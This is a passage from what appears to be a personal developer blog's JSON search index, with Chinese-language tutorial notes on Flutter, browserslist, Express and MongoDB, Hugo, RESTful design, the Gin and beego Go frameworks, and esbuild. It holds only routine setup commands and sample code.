)\rColumn组件：垂直布局组件，例如：\nbody: Column(\rchildren: \u0026lt;Widget\u0026gt;[\rText('hallo word'),\rText('chenjunlinabc'),\r],\rcrossAxisAlignment: CrossAxisAlignment.start,\rmainAxisAlignment: MainAxisAlignment.center,\r),\rCrossAxisAlignment.star：向左对齐 CrossAxisAlignment.end：向右对齐 CrossAxisAlignment.center：居中对齐\nRow和Column组件都存在主轴（main）和纵轴（Cross）\n主轴（main）：在Row组件中水平就是主轴，在Column组件中垂直就是主轴，\n纵轴（Cross）：和主轴（main）相反，在Row组件中垂直就是纵轴，在Column组件中水平就是纵轴\nStack组件\nStack(\rchildren: \u0026lt;Widget\u0026gt;[\rContainer(\rwidth: 100,\rheight: 100,\rcolor: Colors.red,\r),\rContainer(\rwidth: 50,\rheight: 50,\rcolor: Colors.black,\r),\r],\r),\r可以看到上面的两个子组件相交在一起了，Stack组件一样有Alignment属性，来表示对齐方式\n","permalink":"https://xiaochenabc123.github.io/posts/141/","summary":"Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用\n闲鱼和Now直播，美团，快手都使用了Flutter\n获取Flutter\nhttps://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip\n添加path环境变量\n由于Flutter库是在google那，因此需要设置第三方可信镜像库\n设置PUB_HOSTED_URL和FLUTTER_STORAGE_BASE_URL环境变量\nPUB_HOSTED_URL设置为https://pub.flutter-io.cn\nFLUTTER_STORAGE_BASE_URL设置为https://storage.flutter-io.cn\n（flutter-io.cn所提供的镜像由中国的Flutter开发者社区提供和维护）\n其他可信第三方镜像库：\n腾讯云镜像\nPUB_HOSTED_URL（https://mirrors.cloud.tencent.com/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.cloud.tencent.com/flutter）\n清华大学镜像\nPUB_HOSTED_URL（https://mirrors.tuna.tsinghua.edu.cn/dart-pub） FLUTTER_STORAGE_BASE_URL（https://mirrors.tuna.tsinghua.edu.cn/flutter）\n添加Flutter环境变量path，解压路径\\flutter\\bin\n执行where.exe flutter dart，如果有反应，说明path环境配置完成\n（如果要开发安卓的话，需要安装jdk，Android Studio，Android Jdk，可执行flutter doctor检查依赖（如果是X表示没依赖，需要安装））\n这里用Visual Studio Code的Flutter插件\n创建第一个demo（项目名必须全小写，可用_下划线）\nflutter create flutterdemo\n启动项目（编译执行）\nflutter run\nDart是静态类型语言，它会在定义时绑定数据类型（var）\nDart允许一个类中有多个构造函数，在new初始化时，可选择类的某个构造函数\nDart库管理（pub.dev）,在pubspec.yaml添加库\n实质上Dart和JavaScript很相似，只是它有抽象和泛型（ts也有泛型，抽象类就是类似于golang的接口，只定义不实现）\nDart也是单线程执行，主线程外也有宏任务队列和事件队列（可以理解为JavaScript中的宏任务）\nDart执行过程：执行main()函数，判断是微任务还是事件队列，是微任务则插入微任务队列，是宏任务则插入宏任务队列，执行完成后（主线程），会执行微任务队列和事件队列，以及判断微任务队列和事件队列是否为空，当为空时程序执行结束\nflutter项目下的lib/main.dart，class MyApp类下\n修改为 home: const MyHomePage(title: \u0026lsquo;Hallo word\u0026rsquo;), // 当前title信息\n在return Scaffold下的body: Center下的，修改为children: [const Text(\u0026lsquo;Hallo word\u0026rsquo;,),\n运行后可以看到一个title以及内容都为Hallo word的app\nflutter自带了可视化工具，Dart DevTools\n自己写一个main.dart\nvoid main() =\u0026gt; runApp(MyApp());\rclass MyApp extends StatelessWidget{\r@override\rWidget build(BuildContext context){\rreturn MaterialApp(\rtitle: \u0026quot;hallo word\u0026quot;, // app的title\rtheme: ThemeData(\rprimarySwatch: Colors.","title":"Flutter框架学习笔记"},{"content":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2%',\r'last 1 Chrome versions'\r'not dead'\r]\r或者写成\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2% and last 1 Chrome versions and not dead',\r]\r.browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead\rbrowserslist数据的优先级：当前项目的package.json的browserslist，当前项目的.browserslistrc，BROWSERSLIST环境变量，browserslist的defaults\n另外还可以设置development（开发环境），production（生产环境的配置），例如：\n\u0026quot;browserslist\u0026quot;: [\r'development':[\r'last 1 Chrome versions',\r'last 1 firefox versions',\r'last 1 safari versions',\r'\u0026gt; 5%',\r],\r'production': [\r'not dead'\r]\r]\r","permalink":"https://xiaochenabc123.github.io/posts/140/","summary":"browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中\nbrowserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作\nnpx browserslist可查看根据条件输出的浏览器列表\n查看全球用户份额大于0.2%的浏览器\nnpx browserslist \u0026ldquo;\u0026gt; 0.2%\u0026rdquo;\n查询Chrome最新1个版本\nnpx browserslist \u0026ldquo;last 1 Chrome versions\u0026rdquo;\n查看browserslist的默认配置\nnpx browserslist \u0026ldquo;defaults\u0026rdquo;\nbrowserslist的默认配置为\u0026gt; 0.5% and last 2 versions adn Firefox ESR and not dead\nnot dead的意思是不输出官方不再维护的浏览器（例如ie10），dead是不维护，not是不输出\nand就是和，or是或者\nbrowserslist的配置\npackage.json（browserslist官方推荐用这个）\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2%',\r'last 1 Chrome versions'\r'not dead'\r]\r或者写成\n\u0026quot;browserslist\u0026quot;: [\r'\u0026gt; 0.2% and last 1 Chrome versions and not dead',\r]\r.browserslistrc\n\u0026gt; 0.2% and last 1 Chrome versions and not dead\rbrowserslist数据的优先级：当前项目的package.","title":"browserslist的简单配置"},{"content":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;)\rconst app = express()\rapp.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;)\r})\rapp.listen(3000)\r运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose')\rmongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})\rconst testdb = mongoose.model('testdb',new mongoose.Schema({\r_id: Number,\rtitle: String\r}))\r/*testdb.inserMany([\r{_id: 1, title: \u0026quot;abc\u0026quot;},\r{_id: 2, title: \u0026quot;xyz\u0026quot;}\r{_id: 3, title: \u0026quot;abcxyz\u0026quot;}\r])*/\rapp.get('/test',async function(req,res){\rres.send(await testdb.find())\r})\r查询MongoDB数据\napp.get('/test',async function(req,res){\r// const data = await testdb.find().skip(1).limit(2)\r/* const data = await testdb.find().where({\rtitle: 'abc'\r*/\rconst data = await testdb.find().sort({\r_id: -1\r})\rres.send(data)\r})\rskip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）\napp.get('/test/:id',async function(req,res){\rconst data = await testdb.findById(req.params.id)\rres.send(data)\r})\r访问localhost:3000/test/2\n注意：req和res的区别，req是客户端请求，res是服务端响应\n插入数据到MongoDB中\napp.use(express.json()) // 通过express.json()中间件，解析body中的json数据\rapp.post('/admin' async function(req,res){\rconst data = req.body // 获取前端post请求的body数据\rconst dataMain = await testdb.create(data) // body数据create到MongoDB数据库中\rres.send(dataMain)\r})\r修改MongoDB数据\napp.put('/admin/:id' async function(req,res){\rconst data = await testdb.findById(req.params.id) // 寻找目标id\rdata.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title\rawait data.save() // 保存到数据库中\rres.send(data)\r})\r删除MongoDB数据\napp.delete('/admin/:id' async function(req,res){\rconst data = await testdb.findById(req.params.id) // 寻找目标id\rawait data.remove() // 从数据库中删除该数据\rres.send({\rcode: 200\r})\r})\r","permalink":"https://xiaochenabc123.github.io/posts/138/","summary":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;)\rconst app = express()\rapp.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;)\r})\rapp.listen(3000)\r运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose')\rmongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})\rconst testdb = mongoose.model('testdb',new mongoose.Schema({\r_id: Number,\rtitle: String\r}))\r/*testdb.inserMany([\r{_id: 1, title: \u0026quot;abc\u0026quot;},\r{_id: 2, title: \u0026quot;xyz\u0026quot;}\r{_id: 3, title: \u0026quot;abcxyz\u0026quot;}\r])*/\rapp.","title":"简单使用Express-Web应用框架"},{"content":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo \u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了\n","permalink":"https://xiaochenabc123.github.io/posts/137/","summary":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加\u0026ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = \u0026lsquo;https://blog.xiaochenabc123.test.com\u0026rsquo; languageCode = \u0026lsquo;zh-CN\u0026rsquo; title = \u0026lsquo;小陈的博客\u0026rsquo; theme = \u0026ldquo;kagome\u0026rdquo;\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo \u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了","title":"简单使用Hugo搭建网站"},{"content":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应\n","permalink":"https://xiaochenabc123.github.io/posts/136/","summary":"RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范\n资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）\n表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容\n状态转换(State Transfer)：如果希望客户端通过某种请求方式来让服务端表示层的资源发生改变，这就是状态转换，这请求方式分别为GET（获取资源），POST（新建资源），PUT（更新资源），DELETE（删除资源）\nRESTful设计规范的六个规范：\n1.客户端/服务端(C/S)关注点分离，客户端专注于用户的操作界面，服务端专注于数据存储\n2.无状态，要求客户端的每个请求都要拥有完成请求的全部信息，服务端不用存储任何上下文信息，会话信息存储在客户端上\n3.统一接口（Uniform Interface），要求使用具备REST规范（资源标识符，资源状态的修改，具备描述资源怎么操作处理的信息，客户端应使用超链接的方式来动态访问其他资源）的接口\n4.可缓存（Cache），允许服务端响应可被缓存或者不可缓存（必须明确是否可缓存），如果响应可缓存，客户端可以根据有效缓存时间，来复用响应，减少前后端交互\n5.分层系统，不允许跨层访问（访问不相邻的层）\n6.按需编码（可选，可理解为按需扩展客户端功能），允许服务端提供一些脚本来扩展客户端功能（例如JavaScript）\napi接口统一域名（推荐使用api.xiaochenabc123.test.com这样的格式）\nURI（不使用大写，使用中杆-，资源名字是复数名词，资源实体集合，不能出现动词）\nHTTP请求方式（不同的操作使用不同的请求方式，例如获取资源使用get，post新建资源等等）\n如果资源庞大，可通过get参数的形式获取（例如分页），API的版本号应该放在URI中，更改资源，应该修改资源版本号，原有的URI应该保持继续可用\n需正确设置http状态码，根据http状态码来做出不同的响应，例如200正常返回，404文件不存在等等\n简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应","title":"简单了解RESTful设计规范"},{"content":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main\rimport \u0026quot;github.com/gin-gonic/gin\u0026quot;\rimport \u0026quot;net/http\u0026quot;\rfunc main() {\rg := gin.Default()\rg.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) {\rc.String(http.StatusOK, \u0026quot;hallo word\u0026quot;)\r})\rg.Run()\r}\rgo run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) {\rname := c.Param(\u0026quot;name\u0026quot;)\rc.String(http.StatusOK, name)\r})\rg.Run(\u0026quot;:6666\u0026quot;)\r127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) {\rname := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;)\rc.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name))\r})\rr.Run()\r127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go\nr.POST(\u0026quot;/form\u0026quot;, func(c *gin.Context) {\rtypes := c.DefaultPostForm(\u0026quot;type\u0026quot;, \u0026quot;post\u0026quot;)\ruser := c.PostForm(\u0026quot;user\u0026quot;)\rpass := c.PostForm(\u0026quot;pass\u0026quot;)\rc.String(http.StatusOK, fmt.Sprintf(\u0026quot;user:%s,pass:%s,type:%s\u0026quot;, name, pass, types))\r})\rr.Run()\r","permalink":"https://xiaochenabc123.github.io/posts/135/","summary":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main\rimport \u0026quot;github.com/gin-gonic/gin\u0026quot;\rimport \u0026quot;net/http\u0026quot;\rfunc main() {\rg := gin.Default()\rg.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) {\rc.String(http.StatusOK, \u0026quot;hallo word\u0026quot;)\r})\rg.Run()\r}\rgo run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) {\rname := c.Param(\u0026quot;name\u0026quot;)\rc.String(http.StatusOK, name)\r})\rg.Run(\u0026quot;:6666\u0026quot;)\r127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) {\rname := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;)\rc.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name))\r})\rr.Run()\r127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go","title":"Gin框架学习笔记"},{"content":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;)\rc.Data[\u0026quot;Website\u0026quot;] = name\r访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt;\rOfficial website:\r\u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; /\rContact me:\r\u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.Email}}\u0026quot;\u0026gt;{{.Email}}\u0026lt;/a\u0026gt;\r\u0026lt;/div\u0026gt;\r在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据\n数据库交互\nbee generate scaffold test -fields=\u0026ldquo;id:int64,name:string\u0026rdquo; -driver=mysql -conn=\u0026ldquo;root:root@tcp(127.0.0.1:3306)/test\u0026rdquo;\n上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息\n如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建\n在models下的test.go文件，可以看到已经添加了管理数据库的函数\n静态文件的引用\nbeego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir[\u0026quot;/static\u0026quot;] = \u0026ldquo;static\u0026rdquo;\n如果有多个静态文件目录，可使用beego.SetStaticPath(\u0026quot;/test\u0026quot;, \u0026ldquo;test\u0026rdquo;)\n","permalink":"https://xiaochenabc123.github.io/posts/134/","summary":"beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新\n安装\ngo get github.com/beego/beego\ngo get github.com/beego/bee\n检查是否安装完成\nbee version\nbeego项目可使用bee指令来创建和管理\n创建第一个web应用\nbee new hallo\nbeego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件\n执行go mod tidy，生成go.sum\n启动项目（bee run指令会自动编译部署）\nbee run\n访问http://127.0.0.1:8080/\n其他常用beeg指令\n创建api应用\nbee api apitest\n打包应用命令（将项目打包压缩）\nbee pack\n自动生成代码\nbee generate\ncontroller控制器\n简单接收一下get请求的参数\ncontrollers/default.go，在func (c *MainController) Get() 函数中修改\nname := c.GetString(\u0026quot;name\u0026quot;)\rc.Data[\u0026quot;Website\u0026quot;] = name\r访问http://127.0.0.1:8080/?name=hallo，views\\index.tpl的模板中的{{.Website}}被设置为hallo\n在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）\nModel模型\n在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型\nView视图\n在controllers/default.go看到c.TplName = \u0026ldquo;index.tpl\u0026rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎\n在views/index.tpl中可以看到这个\n\u0026lt;div class=\u0026quot;author\u0026quot;\u0026gt;\rOfficial website:\r\u0026lt;a href=\u0026quot;http://{{.Website}}\u0026quot;\u0026gt;{{.Website}}\u0026lt;/a\u0026gt; /\rContact me:\r\u0026lt;a class=\u0026quot;email\u0026quot; href=\u0026quot;mailto:{{.","title":"beego应用框架的简单使用"},{"content":"ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css\nESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件\n注意：esbuild并不对ts文件进行类型检查工作\n安装\nnpm install esbuild\n或者\nyarn add esbuild\n打包\n.\\node_modules.bin\\esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\n或者package.json\n\u0026ldquo;build\u0026rdquo;: \u0026ldquo;esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle\u0026rdquo;\nnpm run build\n或者\nyarn build\n例子（app.jsx）\nimport React from 'react'\rimport ReactDOM from 'react-dom'\rconst App = () =\u0026gt; {\rreturn (\r\u0026lt;div\u0026gt;\r\u0026lt;h1\u0026gt;Hallo, Esbuild!\u0026lt;/h1\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rReactDOM.render(\r\u0026lt;App /\u0026gt;,\rdocument.getElementById(\u0026quot;app\u0026quot;)\r)\rindex.html\n\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\u0026lt;/div\u0026gt;\r\u0026lt;script src=\u0026quot;./build/index.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt;\r我本地打包只花64ms就打包好了\n使用source map功能\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;sourcemap\n使用代码压缩功能\u0026ndash;minify\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;minify\n指定打包目标环境\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;target=es2020,node12\n注意：如果将ES6+语法编译成ES5语法是不被支持的，但是可以将ES5语法编译成ES6+的语法或者ES6语法升级为更先进的语法，也可以将ES6+语法降到ES6语法，就是不能降到ES5（估计这是为啥vite选择这个作为开发环境打包工具，而不是生产环境打包工具的原因吧，只有开发环境下，默认认为是现代浏览器（node）环境下工作的）\n指定输出目标\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;target=es2020,node12 \u0026ndash;platform=node\n\u0026ndash;platform有3个值，分别是browser，node，neutral\n默认情况下使用browser值，会将打包的代码放到IIFE（立即执行函数）中，并且对package.json依赖做出修改，会使用对目标友好的插件或者包来代替原来的\n设置为node时，打包格式是cjs格式（CommonJS），会将其他风格转换为cjs格式\n设置为neutral时，打包格式为esm格式\n指定不进行打包构建的模块\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle \u0026ndash;platform=node \u0026ndash;external:react\nesbuild.config.js，api调用文件\nconst postCssPlugin = require('@deanc/esbuild-plugin-postcss')\rconst autoprefixer = require('autoprefixer')\rconst esbuildConig = () =\u0026gt; require('esbuild').buildSync({\rentryPoints: ['src/app.jsx'],\rbundle: true,\rtarget: ['es2020','node12'],\rexternal: ['react'],\rloader: {'.jpg':'dataurl','.js':'jsx'},\rplatform: 'node',\routfile: 'build/index.js',\rplugins: [\rpostCssPlugin({\rplugins: [autoprefixer]\r})\r],\r})\resbuildConig()\r通过执行node ./esbuild.config.js，来调用ESbuild API快速打包 当然也是可以使用npm script来设置\n\u0026quot;scripts\u0026quot;: {\r\u0026quot;build\u0026quot;: \u0026quot;node ./esbuild.config.js\u0026quot;\r}\rnpm run build\n或者\nyarn build\n添加图片支持（通过转换成base64的方法来引用）\nnpx esbuild app.jsx \u0026ndash;outfile=build/index.js \u0026ndash;bundle 